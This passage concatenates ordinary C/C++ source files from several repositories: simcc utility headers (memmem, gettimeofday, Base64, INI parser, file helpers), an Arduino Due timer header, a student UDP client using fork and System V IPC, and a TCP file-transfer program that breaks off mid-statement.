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pengdao/simcc
simcc/memmem.h
/* Copyright (C) 1991,92,93,94,96,97,98,2000,2004 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #pragma once #include <string.h> #ifdef WIN32 #ifndef _LIBC # define __builtin_expect(expr, val) (expr) #endif #ifndef H_MEMMEM #define H_MEMMEM #undef memmem // @see https://raw.githubusercontent.com/jaysi/jlib/3f7a190e1e80b270c9a07cac46aeab960a802cd1/src/memmem.c // @see http://sourceware.org/ml/libc-alpha/2007-12/msg00000.html /* Return the first occurrence of NEEDLE in HAYSTACK. */ inline void* memmem(const void* haystack, size_t haystack_len, const void* needle, size_t needle_len) { /* not really Rabin-Karp, just using additive hashing */ char* haystack_ = (char*)haystack; char* needle_ = (char*)needle; int hash = 0; /* this is the static hash value of the needle */ int hay_hash = 0; /* rolling hash over the haystack */ char* last; size_t i; if (haystack_len < needle_len) { return NULL; } if (!needle_len) { return haystack_; } /* initialize hashes */ for (i = needle_len; i; --i) { hash += *needle_++; hay_hash += *haystack_++; } /* iterate over the haystack */ haystack_ = (char*)haystack; needle_ = (char*)needle; last = haystack_ + (haystack_len - needle_len + 1); for (; haystack_ < last; ++haystack_) { if (__builtin_expect(hash == hay_hash, 0) && *haystack_ == *needle_ && /* prevent calling memcmp, was a optimization from existing glibc */ !memcmp(haystack_, needle_, needle_len)) { return haystack_; } /* roll the hash */ hay_hash -= *haystack_; hay_hash += *(haystack_ + needle_len); } return NULL; } #endif // end of H_MEMMEM #endif
pengdao/simcc
simcc/gettimeofday.h
<reponame>pengdao/simcc #pragma once #include <time.h> #ifdef WIN32 #define _WINSOCKAPI_ #include <windows.h> #include <WinSock2.h> #else #include <sys/time.h> #endif #ifdef WIN32 #ifndef H_GETTIMEOFDAY #define H_GETTIMEOFDAY inline int gettimeofday(struct timeval* tp, void* tzp) { time_t clock; struct tm tm; SYSTEMTIME wtm; GetLocalTime(&wtm); tm.tm_year = wtm.wYear - 1900; tm.tm_mon = wtm.wMonth - 1; tm.tm_mday = wtm.wDay; tm.tm_hour = wtm.wHour; tm.tm_min = wtm.wMinute; tm.tm_sec = wtm.wSecond; tm.tm_isdst = -1; clock = mktime(&tm); tp->tv_sec = (long)clock; tp->tv_usec = wtm.wMilliseconds * 1000; return (0); } #endif // end of H_GETTIMEOFDAY #endif //end of WIN32 namespace simcc { inline double utcsecond() { struct timeval tv; gettimeofday(&tv, NULL); return (double)(tv.tv_sec) + ((double)(tv.tv_usec)) / 1000000.0f; } inline uint64_t utcmicrosecond() { struct timeval tv; gettimeofday(&tv, NULL); return (uint64_t)(((uint64_t)(tv.tv_sec)) * 1000000 + tv.tv_usec); } inline struct timeval timevalconv(uint64_t time_us) { struct timeval tv; tv.tv_sec = (long)time_us / 1000000; tv.tv_usec = (long)time_us % 1000000; return tv; } }
pengdao/simcc
simcc/misc/double_buffering.h
#pragma once #include "simcc/inner_pre.h" #include "simcc/ref_object.h" #include "simcc/timestamp.h" #include <mutex> #include <map> namespace simcc { class SIMCC_EXPORT DoubleBuffering { public: class SIMCC_EXPORT Target : public RefObject { public: virtual bool Initialize(const string& conf) = 0; virtual string MD5() const { return ""; } virtual ~Target() {} }; typedef RefPtr<Target> TargetPtr; typedef std::function<TargetPtr ()> TargetCreator; DoubleBuffering(TargetCreator f); bool Reload(const string& conf); string MD5() const; Timestamp reload_time() const { return reload_time_; } TargetPtr Get() const; private: mutable std::mutex mutex_; TargetPtr current_; TargetCreator creator_; Timestamp reload_time_; }; typedef std::shared_ptr<DoubleBuffering> DoubleBufferingPtr; class SIMCC_EXPORT DoubleBufferingManager { public: DoubleBufferingManager(); bool Add(const string& name, const string& conf, DoubleBuffering::TargetCreator f); DoubleBuffering* Get(const string& name) const; bool Reload(const string& name, const string& conf); private: std::map<string/*name*/, DoubleBufferingPtr> dbufs_; mutable std::mutex mutex_; }; }
pengdao/simcc
simcc/base64.h
#pragma once #include "simcc/inner_pre.h" #include <string.h> #include <string> namespace simcc { class SIMCC_EXPORT Base64 { public: // @brief b64 encode a c-style string with len // // @param[in] s the input string to encode // @param[in] len the length of the input string // @return a newly allocated b64 string. Empty if failed. static string Encode(const char* s, size_t len); // @brief b64 encode a c-style string // // @param[in] s the input string to encode // @return a newly allocated b64 string. Empty if failed. static string Encode(const char* s) { return Encode(s, static_cast<int>(strlen(s))); } // @brief b64 encode a const string // // @param[in] s the input string to encode // @return a newly allocated b64 string. Empty if failed. static string Encode(const string& s) { return Encode(s.data(), s.size()); } static string Decode(const char* src, size_t len); static string Decode(const char* src) { return Decode(src, strlen(src)); } static string Decode(const string& s) { return Decode(s.data(), s.size()); } }; }
pengdao/simcc
simcc/file_util.inl.h
#pragma once #ifdef H_OS_WINDOWS #include <direct.h> #include <io.h> #else #include <sys/stat.h> #include <sys/types.h> #include <dirent.h> #include <unistd.h> #include <limits.h> #endif namespace simcc { inline bool FileUtil::IsValidDirName(const char* szName) { return !(szName [0] == ('.') || (szName [1] != 0 && (szName[1] == '.' && szName[2] == 0))); } // Query whether strFileName is a absolute path. inline bool FileUtil::IsAbsolutePath(const string& path) { if (path.size() == 0) { return false; } #ifdef H_OS_WINDOWS if (isalpha(static_cast<unsigned char>(path[0])) && path[1] == ':') { return true; } else { return false; } #else return path[0] == '/'; #endif } inline string FileUtil::GetAbsolutePathName(const string& strPathName) { string strTmp = strPathName; if (!IsAbsolutePath(strTmp)) { // char szDir[_MAX_PATH]; #ifdef H_OS_WINDOWS if (_getcwd(szDir, _MAX_PATH)) { strTmp = string(szDir) + ("/") + strTmp; } #else getcwd(szDir, _MAX_PATH); strTmp = string(szDir) + ("/") + strTmp; #endif } // convert file name here. NormalizePath(strTmp); return strTmp; } inline string FileUtil::GetFileName(const string& strFileName) { // since '/' equal to L'/', we can cast to either one. string::size_type i = strFileName.find_last_of((string::value_type)'/'); if (i == string::npos) { return strFileName; } return strFileName.substr(i + 1); } inline string FileUtil::GetFileNameWithoutExt(const string& strFileName) { // since '/' equal to L'/', we can cast to either one. string::size_type iStart = strFileName.find_last_of((string::value_type)'/'); if (iStart == string::npos) { iStart = 0; } else { // skip the '/' ++iStart; } return strFileName.substr(iStart, strFileName.find_last_of((string::value_type)'.') - iStart); } inline string FileUtil::GetFileNameExtension(const string& strFileName) { string::size_type endPos = strFileName.find_last_of((string::value_type)'.'); if (endPos < strFileName.length() - 1) { return strFileName.substr(endPos + 1); } return string(); } inline string FileUtil::GetFileDirName(const string& strFileName) { // since '/' equal to L'/', we can cast to either one. string::size_type i = strFileName.find_last_of((string::value_type)'/'); if (i == string::npos) { return string(); } return strFileName.substr(0, i); } inline bool FileUtil::IsDir(const char* szFileName) { if (!szFileName) { return false; } const string strFileName(szFileName); return IsDir(strFileName); } inline bool FileUtil::IsDir(const string& strFileName) { //for the 'stat' API, the parameter strFileName SHOULD not contain a trailing backslash string strStandardisePath = NormalizePath(strFileName, false); struct stat st; if (0 != stat(strStandardisePath.c_str(), &st)) { return false; } #ifdef H_OS_WINDOWS if ((st.st_mode & _S_IFDIR) == _S_IFDIR) #else if (S_ISDIR(st.st_mode)) #endif { return true; } return false; } inline bool FileUtil::RemoveDirIfEmpty(const string& strDirName, bool bRecursivelyDeleteEmptyParentDir /*= true*/) { if (!IsDir(strDirName)) { return true; } bool retval = true; std::list<string> files; GetFiles(strDirName, files, true); if (files.size() == 0) { if (FileUtil::Rmdir(strDirName.c_str()) != 0) { retval = false; } } if (bRecursivelyDeleteEmptyParentDir) { string strParentDir = GetParentDir(strDirName); if (!RemoveDirIfEmpty(strParentDir, bRecursivelyDeleteEmptyParentDir)) { retval = false; } } return retval; } inline string FileUtil::GetParentDir(const string& strFileName, bool with_trailing_slash /*= true*/) { string path = NormalizePath(strFileName, false); if (!IsAbsolutePath(strFileName)) { path = GetAbsolutePathName(path); } size_t pos = path.find_last_of('/'); if (pos == 0 || pos == string::npos) { if (with_trailing_slash) { path += "/"; } return path; } else { if (with_trailing_slash) { string retp = string(path.c_str(), pos) + "/"; return retp; } else { return string(path.c_str(), pos); } } } inline bool FileUtil::Rmdir(const string& strDirName) { return Rmdir(strDirName.c_str()); } inline bool FileUtil::Rmdir(const char* strDirName) { #ifdef H_OS_WINDOWS if (::_rmdir(strDirName) == 0) #else if (::rmdir(strDirName) == 0) #endif { return true; } return false; } }
pengdao/simcc
simcc/exp.h
#pragma once #ifdef H_OS_WINDOWS H_LINK_LIB("libglueasync") #endif // #include "glueasync_types.h" // #include "glueasync_common.h" // #include "glueasync_context.h" // #include "glueasync_status.h" // #include "glueasync_module.h" // #include "sync_module.h" // #include "gas_module_manager.h" // #include "sync_module_manager.h"
pengdao/simcc
simcc/ini_parser.h
#pragma once #include "simcc/inner_pre.h" #include "simcc/gcc_list.h" #include <string> #include <map> #include <vector> namespace simcc { class DataStream; // @brief The class for parsing an INI format file or memory data. // The INI file can contains comments lines which start with '#' or '//' or ';' class SIMCC_EXPORT INIParser { public: typedef std::map<string, string> ssmap; typedef std::map<string, ssmap> SectionMap; typedef list<string> StringList; typedef std::pair<string, StringList> SectionPairEntry; typedef list<SectionPairEntry> SectionList; typedef std::function<void(INIParser& parser, const string& section, const string& key, const string& value)> ParseListener; typedef std::function<void(const INIParser& parser, const string& section, const string& key, const string& value)> Visitor; enum ErrorCode { kNoError = 0, kErrorCannotFindKVSeperator = 1, kErrorCannotFindLineSeperator = 2, kErrorCannotFindKVSeperatorAndLineSeperator = 3, kErrorSectionFormatWrong = 4, }; public: // @brief // @param[in] is_case_sensitive - // @param[in] is_compatible - If it is true, we will neglect the wrong format line and try to parse the remaining contents // @param[in] keep_sequence - If it is true, we will record the sequence of the input INI file. This will slow down the parsing speed. // @return - INIParser(bool is_case_sensitive = true, bool is_compatible = false, bool keep_sequence = false); ~INIParser(); // @brief Clear the section/key-value map void Reset(); // @brief Parse the INI file // @param const string & filename - The INI file name // @return bool - return true if parse successfully. // In the compatible mode of parsing, even this function return true, // there is a chance that the INI file contents is wrong, // at this time we can use <code>error()</code> function to get the actual error code bool Parse(const string& filename); bool Parse(const char* filename); // @brief Parse the raw data. // We will parse the data every line. // Lines are separated by '\n'. // @param const char * data - The source data // @param size_t datalen - The length of the data // @return bool - return true if parse successfully bool Parse(const char* data, size_t datalen); // @brief Parse the raw data // We will parse the data line by line. // Lines are separated by <code>linesep</code> // key-value is separated by <code>keyvaluesep</code> // @param const char * data - // @param size_t datalen - // @param const char * linesep - the line separator // @param const char * keyvaluesep - the key/value separator // @return bool - bool Parse(const char* data, size_t datalen, const char* linesep, const char* keyvaluesep); bool Parse(const char* data, size_t datalen, const string& linesep, const string& keyvaluesep); // @brief When parsing the INI file, you can call this function to stop the parsing // @return void - void StopParsing(bool stop_parsing); //The error code ErrorCode error() const { return error_code_; } bool ok() const { return error_code_ == kNoError; } const char* strerror() const; // @brief // @param ParseListener * pl - // @return void - void SetParseListener(ParseListener pl); // Query public: // @brief Get the value of specified key from the default section // @param const string & key - // @param[out] size_t * data_len - If it is provided, the value length will stored here // @return const char* - If find return the value, or return NULL // @return const string& - If find return the value, or return an empty string const string& Get(const string& key, bool* found = NULL) const; // @brief Get the value of specified key from a certain section // @param const string & section - The section name // @param const string & key - The key // @param[out] size_t * data_len - If it is provided, the value length will stored here // @return const char* - If find return the value, or return NULL // @return const string& - If find return the value, or return an empty string const string& Get(const string& section, const string& key, bool* found = NULL) const; int64_t GetInteger(const string& key, int64_t default_value = 0) const; int64_t GetInteger(const string& section, const string& key, int64_t default_value = 0) const; bool GetBool(const string& key, bool default_value = false) const; bool GetBool(const string& section, const string& key, bool default_value = false) const; double GetDouble(const string& key, double default_value = 0.0) const; double GetDouble(const string& section, const string& key, double default_value = 0.0) const; // @brief Set the value of specified key into a certain section // @param const string & section - The section name // @param const string & key - The key // @param const string & key - The value void Set(const string& section, const string& key, const string& value); void Set(const string& key, const string& value); // @brief Get the default key/value Map // which equals to call <code>GetKeyValueMap("")</code> // @return const StringAStringAMap& - const ssmap& GetDefaultKeyValueMap(); // @brief Get the key/value Map of a certain section // @param const string & section - The section name // @return const ssmap& - const ssmap& GetKeyValueMap(const string& section) const; // @brief Get the section full map // @return - const SectionMap& const SectionMap& GetSectionMap() const { return section_map_; } public: bool compatible() const { return compatible_; } void set_compatible(bool val) { compatible_ = val; } // @brief Query whether it is case sensitive // @return - bool bool case_sensitive() const { return case_sensitive_; } void set_case_sensitive(bool b) { case_sensitive_ = b; } void set_trim_chars(const string& trim_chars); void set_keep_sequence(bool b) { keep_sequence_ = b; } // Separator public: void SetKVSeparator(const string& separator) { kv_sep_ = separator; } void SetLineSeparator(const string& separator) { line_sep_ = separator; } const string& line_separator() const { return line_sep_; } const string& kv_separator() const { return kv_sep_; } // Visit public: // @brief Visit all the section/key/value in this INI. // If sequential is true, we will visit the section/key/value // in the order of the input file. // If sequential is false, we will visit the section/key/value // in the memory order, it is may be not the same of the input order. // @param[in] - FastVisitor & visitor // @return - void void Visit(const Visitor& visitor, bool sequential = false) const; void Visit(const string& section, const Visitor& visitor, bool sequential = false) const; // Serialize public: // @brief Serialize the INI to output string // @param[in] - bool input_order - true if we want to // serialize this INI object as the order of the input INI file // @return - string string Serialize(bool input_order = false) const; // @brief Serialize the INI to output string // @param[in] - string & output // @param[in] - MemoryDataStream & buf // @param[in] - std::ostream & os // @return - void void Serialize(string& output, bool input_order = false) const; void Serialize(DataStream& buf, bool input_order = false) const; void Serialize(std::ostream& os, bool input_order = false) const; private: void InitTrimCharsTable(); // @brief Skip the lines which start with '#' or '//' or ";" // @note Lines are separated by '\n' or '\r\n' // @param const char * szsrc - The source string // @return const char* - The pointer to the next line const char* SkipCommits(const char* szsrc, size_t len); // @brief Skipping whitespace, such as '\n' '\r' ' ' // @param const char * szsrc - The source string // @return const char* - The pointer to the next character const char* SkipSpaces(const char* szsrc); // @brief Skipping the characters within <code>trim_chars_</code> // @param const char * szsrc - The source string // @param const char * dataend - The end of the string, not include // @return const char* - The pointer to the next character const char* SkipTrimChars(const char* szsrc, const char* dataend); template<class stream_t> void serialize(stream_t& os, bool input_order = false) const; enum Status { kFinishedError = 0, kFinishedOK, kFoundKeyAndValue, kNeedSkipThisLine, }; Status CheckStatus(const char* dataend, const char* kv_sep_pos, const char*& line_end/*in,out*/); private: bool case_sensitive_;// case sensitive flag bool stop_parsing_; // stop the parsing bool keep_sequence_; SectionMap section_map_; // pair<section string, key/value map> string kv_sep_;// The key/value separator string line_sep_;// The key/value separator SectionList section_list_; // pair<section string, keys list> ErrorCode error_code_; bool compatible_; string trim_chars_; // the trimming characters when parsing char trim_chars_table_[256]; typedef std::list<ParseListener> ListenerList; ListenerList listeners_; class SequenceParseListener; }; inline void INIParser::Reset() { section_map_.clear(); } inline void INIParser::StopParsing(bool stop_parsing) { stop_parsing_ = stop_parsing; } }
abhay-agarwal/DueTimer
DueTimer.h
/* DueTimer.h - DueTimer header file, definition of methods and attributes... For instructions, go to https://github.com/ivanseidel/DueTimer Created by <NAME>, March, 2013. Modified by <NAME>, June 2013. Released into the public domain. */ #include "Arduino.h" #if defined(_SAM3XA_) #ifndef DueTimer_h #define DueTimer_h #include <inttypes.h> #define USING_IR_LIB true #if defined TC2 #define NUM_TIMERS 9 #else #define NUM_TIMERS 6 #endif class DueTimer { protected: // Represents the timer id (index for the array of Timer structs) const unsigned short timer; // Stores the object timer frequency // (allows to access current timer period and frequency): static double _frequency[NUM_TIMERS]; // Picks the best clock to lower the error static uint8_t bestClock(double frequency, uint32_t& retRC); // Make Interrupt handlers friends, so they can use callbacks friend void TC0_Handler(void); friend void TC1_Handler(void); friend void TC2_Handler(void); #ifndef USING_IR_LIB friend void TC3_Handler(void); #endif friend void TC4_Handler(void); friend void TC5_Handler(void); #if NUM_TIMERS > 6 friend void TC6_Handler(void); friend void TC7_Handler(void); friend void TC8_Handler(void); #endif static void (*callbacks[NUM_TIMERS])(); struct Timer { Tc *tc; uint32_t channel; IRQn_Type irq; }; // Store timer configuration (static, as it's fixed for every object) static const Timer Timers[NUM_TIMERS]; public: static DueTimer getAvailable(void); DueTimer(unsigned short _timer); DueTimer& attachInterrupt(void (*isr)()); DueTimer& detachInterrupt(void); DueTimer& start(double microseconds = -1); DueTimer& stop(void); DueTimer& setFrequency(double frequency); DueTimer& setPeriod(double microseconds); double getFrequency(void) const; double getPeriod(void) const; inline __attribute__((always_inline)) bool operator== (const DueTimer& rhs) const {return timer == rhs.timer; }; inline __attribute__((always_inline)) bool operator!= (const DueTimer& rhs) const {return timer != rhs.timer; }; }; extern DueTimer Timer; extern DueTimer Timer1; extern DueTimer Timer0; extern DueTimer Timer2; #ifndef USING_IR_LIB extern DueTimer Timer3; #endif extern DueTimer Timer4; extern DueTimer Timer5; #if NUM_TIMERS > 6 extern DueTimer Timer6; extern DueTimer Timer7; extern DueTimer Timer8; #endif #endif #else #error Oops! Trying to include DueTimer on another device? #endif
NataliaD/SocketApp---RN
client.c
/* * client.c * * Created on: 27.12.2014 * Author: <NAME> */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/shm.h> #include <sys/types.h> #include <sys/sem.h> #include <sys/socket.h> #include <netdb.h> #include <sys/stat.h> #include <fcntl.h> #include <netinet/in.h> #include <ctype.h> #include <wctype.h> #include <wchar.h> #include <errno.h> #define REQUETE 1 #define REPONSE 2 #define TEST_TEXTE 3 #define RESULTAT_TEST 4 #define ERREUR 5 #define TAILLE_TEXTE 684 #define TAILLE_CHILD 171 #define TAILLE_ID_CLIENT 44 #define TAILLE_RESULTAT 8 // Result can be "SUCCES !" or "ECHEC !!" #define NUMERO_PORT_SERVEUR 42047 // Port number of server #define SERVER_NAME "vega.info.univ-tours.fr" // "172.16.31.10" // Address of server // Struct type for the inter-process message queue typedef struct { long mType; // always needed for a message queue! Must not be included in a msgsnd / msgrcv size parameter! int childId; char line[TAILLE_CHILD]; } message_t; // Lock a semaphore with given ID void sem1PO(int id_sem){ struct sembuf op; op.sem_num=0; op.sem_op=-1; op.sem_flg=SEM_UNDO; semop(id_sem,&op,1); } // Release a semaphore with given ID void sem1VO(int id_sem){ struct sembuf op; op.sem_num=0; op.sem_op=1; op.sem_flg=SEM_UNDO; semop(id_sem,&op,1); } int *globalCounter; int main() { // Initialze a string for the result (filled with zero) and a message struct for the message queue char* resultString = calloc(TAILLE_TEXTE + 1, sizeof(char)); message_t msg; msg.mType = 1; // The message queue message struct alyways has to have a long as first member with a value > 0! // Message types as declared in the specification of the task struct msg_requete { char vide[TAILLE_TEXTE]; }; struct msg_reponse { char lettre; int position; char vide[TAILLE_TEXTE]; }; struct msg_test_texte { char texte[TAILLE_TEXTE]; }; struct msg_resultat { char resultat[TAILLE_RESULTAT]; char vide[TAILLE_TEXTE - TAILLE_RESULTAT]; }; struct msg_erreur { char texte[TAILLE_TEXTE]; }; struct msg_generic { char id_client[TAILLE_ID_CLIENT]; int type_msg; union corps_msg { struct msg_requete requete; struct msg_reponse reponse; struct msg_test_texte test_texte; struct msg_resultat resultat_test; struct msg_erreur erreur; } corps; }; // one structure for the sent and one for the received message struct msg_generic msg_send, msg_recv; // prepare the request message for the child processes bzero(msg_send.id_client, TAILLE_ID_CLIENT); strncpy(msg_send.id_client, "NataliaDuske", 12); msg_send.type_msg = REQUETE; // Set the message type of the request (REQUETE) // Prepare a message queue for exchanging the result string elements int idMsgQueue=msgget(IPC_PRIVATE,0660|IPC_CREAT); printf("Message Queue %i initialized\n", idMsgQueue); // Initialize a shared memory segment for the global counter int idShMem; struct shmid_ds nb_at; key_t sync_key=ftok("/sync_key", 2); nb_at.shm_nattch=10; idShMem=shmget(sync_key,sizeof(int),IPC_CREAT|0777); globalCounter = shmat(idShMem,NULL,0); shmctl(idShMem,IPC_STAT,&nb_at); // initialize a semaphore for shared memory access int idSem; idSem=semget(IPC_PRIVATE,1,0777); semctl(idSem,0,SETVAL,1); // Initialize shared memory value for the global counter with 0 sem1PO(idSem); *globalCounter = 0; sem1VO(idSem); // Forking of processes: // fork child processes only if none of the child process IDs is 0. // process IDs are only 0 if the executing process itself is already a child process. // By only forking further if no forked process ID is 0, child processes don't create // "grand children". This way, there will be exactly one father process with four children. int p1 = 0; int p2 = 0; int p3 = 0; int p4 = 0; p1 = fork(); if (p1 != 0) { p2 = fork(); } if (p1 != 0 && p2 != 0) { p3 = fork(); } if (p1 != 0 && p2 != 0 && p3 != 0) { p4 = fork(); } int process = 0; // 0 = father process // 1 to 4 are the child processes, identified by how many child process have already // been created before a fork() statement. if (p1 == 0 && p2 == 0 && p3 == 0 && p4 == 0) { process = 1; // first child: no process IDs of children known, so the current process // has to be the first one created by fork(). } else if (p2 == 0 && p3 == 0 && p4 == 0) { process = 2; // second child: the first child's process ID is already set, the others are not. // this process must have been created by the seconds fork(). } else if (p3 == 0 && p4 == 0) { process = 3; } else if (p4 == 0) { process = 4; } // Make a connection to the server int client_socket; // client socket ID struct sockaddr_in socketadr_server; // Socket address structure socklen_t socket_server_size = sizeof(socketadr_server); struct hostent *server_adress; // Structure for name resolution of an URL if ( (server_adress = gethostbyname(SERVER_NAME)) == NULL){ printf("Unable to connect to server %s!\n", SERVER_NAME); return 1; } // copy the resolved server address data to the socket address struct bzero( (char *)&socketadr_server, sizeof(socketadr_server) ); bcopy( server_adress->h_addr, (char *)&socketadr_server.sin_addr, server_adress->h_length); socketadr_server.sin_family = server_adress->h_addrtype; socketadr_server.sin_port = htons(NUMERO_PORT_SERVEUR); // Use the UNSIGNED value! client_socket = socket( AF_INET, SOCK_DGRAM, 0); // Set timeout for the socket struct timeval tv; tv.tv_sec = 5; /* 30 Secs Timeout */ tv.tv_usec = 0; // Not init'ing this can cause strange errors setsockopt(client_socket, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval)); // Child processes: if(process != 0){ // only in child processes: // Each child has to read its own segment of the result string: int minPos = TAILLE_CHILD * (process -1); int maxPos = minPos + TAILLE_CHILD - 1; // Counters for the number of requests and the number of actually relevant reads // (inside the substring for the current child process and not already known characters) int counter = 0; int triesCounter = 0; // Loop until every needed character is sent from the server at least once. while (counter < TAILLE_CHILD){ int sentRet = sendto(client_socket, &msg_send, sizeof(msg_send), 0, (struct sockaddr *)&socketadr_server, socket_server_size); int recvRet = recvfrom(client_socket, &msg_recv, sizeof(msg_recv), 0, (struct sockaddr *)&socketadr_server, &socket_server_size); if (sentRet < 0 || recvRet < 0) { printf("Error on sending or receiving from child %i: \nSend returncode = %i, Receive returncode = %i,\n", process, sentRet, recvRet); } else if(msg_recv.type_msg == REPONSE) { triesCounter++; if(msg_recv.corps.reponse.position >= minPos && msg_recv.corps.reponse.position <= maxPos && resultString[msg_recv.corps.reponse.position] != msg_recv.corps.reponse.lettre ) { // Copy the received character to its destination in the result string resultString[msg_recv.corps.reponse.position]=msg_recv.corps.reponse.lettre; // Increase the global counter while holding the semaphore for its shared memory sem1PO(idSem); (*globalCounter)++; //increment the global counter sem1VO(idSem); counter++; // increment the child processes' internal counter } // if [new character] // Give some feedback about the process, but not too much spam =) if (triesCounter%50 == 0) { printf("Child %d received %d characters from %d requests. Global counter is now %d.\n", process, counter, triesCounter, (*globalCounter)); } } } // end of "while (counter < TAILLE_CHILD)" // Report end of this child process and put its substring to the // message queue for the father process to merge it with the others. printf("Child process %d has finished after %i requests!\n", process, triesCounter); msg.childId = process; msg.mType = process; //sem1PO(idSem); memcpy(msg.line, resultString + (process-1) * TAILLE_CHILD, TAILLE_CHILD); int sendResult = msgsnd(idMsgQueue, &msg, TAILLE_CHILD * sizeof(char) + sizeof(int), 0); //sem1VO(idSem); printf("Child process %d sent message queue (result %i)!\n", process, sendResult); } else { // if process != 0 // This is the father process: It does nothing more than wait for its // children to finish their work and afterwards combine the four substrings // to the solution, which is then sent to the server. // Wait for results... int received[4] = {0, 0, 0, 0}; while(!received[0] || !received[1] || !received[2] || !received[3]) { printf("Father waiting for message queue...\n"); int receiveResult = msgrcv(idMsgQueue,&msg,TAILLE_CHILD * sizeof(char) + sizeof(int),0,MSG_NOERROR); if (msg.childId < 1 || msg.childId > 4) { printf("Answer from invalid child process %i is ignored.\n", msg.childId); } else { printf("Father process received result part #%d:\n%s\n", msg.childId, msg.line); memcpy(resultString + (msg.childId - 1) * TAILLE_CHILD, msg.line, TAILLE_CHILD); received[msg.childId - 1] = 1; } } // Now the result is ready. /* int i = 0; for (i = 0; i < TAILLE_TEXTE; i++) { if (resultString[i] == 0) { resultString[i] = ' '; } } */ printf("Result is ready:\n%s\n", resultString); msg_send.type_msg = TEST_TEXTE; memcpy(msg_send.corps.test_texte.texte, resultString, TAILLE_TEXTE); int sentRet = sendto(client_socket, &msg_send, sizeof(msg_send), 0, (struct sockaddr *)&socketadr_server, socket_server_size); int recvRet = recvfrom(client_socket, &msg_recv, sizeof(msg_recv), 0, (struct sockaddr *)&socketadr_server, &socket_server_size); if (msg_recv.type_msg == RESULTAT_TEST) { printf("Server returned test result \"%s\"!\n", msg_recv.corps.resultat_test.resultat); } else { printf("Server did not return test result...\n"); } } return 0; } // main()
NataliaD/SocketApp---RN
socketApp.c
//Autoren: <NAME> //<NAME> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <time.h> #define SRV_PORT 7777 void client(int argc, char** argv); void server(char** argv); int receiveFile(char* fileName, int socket, int display); int sendFile(char* fileName, int socket); int createSocket(const char* dest, const char* type); /** * Entry point, here should be chosen how to start an application * as server or client */ int main(int argc, char** argv) { setbuf(stdout, NULL); // No Buffer for output, every printf is displayed directly //Making a choice to start an application with: // -S --> as Server // -C --> as Client if (argc != 3 || !(strcmp(argv[1], "-C") == 0 || strcmp(argv[1], "-S") == 0)) { printf("First argument has to be -C for client or -S for Server! \"%s\"\n", argv[1]); exit(1); } if (strcmp(argv[1], "-C") == 0) { printf("Starting as client\n\n"); client(argc, argv); } else { printf("Starting as server\n\n"); server(argv); } return 0; } /** * Create a socket for Target IP oder name dest */ int createSocket(const char* dest, const char* type){ int resSocket = -1; char portStr[10]; // Buffer to hold the port Number as a string // Address information variables struct addrinfo *result, *rp, *sockAddr = NULL; struct addrinfo hints; memset(&hints, 0, sizeof hints); // empty struct memory hints.ai_socktype = SOCK_STREAM; //TCP socket hints.ai_family = AF_UNSPEC; //can use IPv4 or IPv6 char ipstr[INET6_ADDRSTRLEN]; printf("Resolving Server %s\n", dest); // Copy the #define'd integer port number into a string sprintf(portStr, "%d", SRV_PORT); //fill the addrinfo structure for the socket connection int status = getaddrinfo(dest, portStr, &hints, &result); if (status != 0) { fprintf(stderr, "getaddrinfo error: %s\n", gai_strerror(status)); exit(EXIT_FAILURE); }//if(status) // iterate over the addrinfo structs produced by getaddrinfo, // to find a valid IPv4 address for (rp = result; rp != NULL; rp = rp->ai_next) { struct sockaddr* sa = (struct sockaddr*) rp->ai_addr; // get the pointer to the address itself if (rp->ai_family == AF_INET) { // IPv4 sockAddr = rp; //convert IP address from binary to string inet_ntop( rp->ai_family, (void*)&((struct sockaddr_in*)sa)->sin_addr, ipstr, sizeof(ipstr) ); break; } else if (rp->ai_family == AF_INET6) { sockAddr = rp; //convert IP address from binary to string inet_ntop( rp->ai_family, (void*)&((struct sockaddr_in6*)sa)->sin6_addr, ipstr, sizeof(ipstr) ); break; } printf("Address %s found\n", ipstr); // Use any identified IPv4 address }//for() if (sockAddr == NULL) { // If no address was found, sockAddr stays NULL => exit. printf("No valid address found!\n"); exit(1); } else { //if address was found, use it and print it printf("Using address %s\n", ipstr); } //create socket if ((resSocket = socket(sockAddr->ai_family, sockAddr->ai_socktype, sockAddr->ai_protocol)) < 0) { perror("TCP Socket"); exit(1); } printf("Socket created.\n"); printf("Inhalt von type: %s\n", type); if (strcmp(type, "CLIENT") == 0) { //try to connect with server printf("Client Socket\n"); if (connect(resSocket, sockAddr->ai_addr, sockAddr->ai_addrlen) < 0) { printf("\n"); perror("Connect"); exit(1); } } else if (strcmp(type, "SERVER") == 0) { printf("Server Socket!\n"); // Try to setup the server socket if (bind(resSocket, sockAddr->ai_addr, sockAddr->ai_addrlen) < 0) { perror("bind"); exit(1); } if (listen(resSocket, 5) < 0) { perror("listen"); close(resSocket); exit(1); } } // Free ressources of address lookup freeaddrinfo(result); return resSocket; } /** * Create the client */ void client(int argc, char** argv) { if (argc < 3) { printf("Client mode requires an additional parameter! Usage:\n"); printf("%s -C [servername or address]\n", argv[0]); exit(1); } int s_tcp; // socket descriptor int doLoop = 1; // switch for terminating the command loop // define and initialize a buffer for all string operations char* buffer; int bufferSize = 65535; buffer = malloc(bufferSize * sizeof (char)); char cmd[256], cmdArg[256]; // Command used (get, put, quit) and argument for command char* serverAddress = argv[2]; // argv is taken from main method // create a socket for the connection to server serverAdress s_tcp = createSocket(serverAddress, "CLIENT"); // PART TWO: Main client loop//// ///////////////////////////////// printf(" OK!\nPlease choose one of the following commands:\n"); printf("get [filename] read file from server\n", argv[3]); printf("put [filename] write local file to server\n", argv[3]); printf("quit close client application\n\n", argv[3]); while (doLoop) { //parse input from terminal //there are 3 possibilities: //GET, PUT and QUIT memset(buffer, 0, bufferSize);//clear buffer memset(cmd, 0, 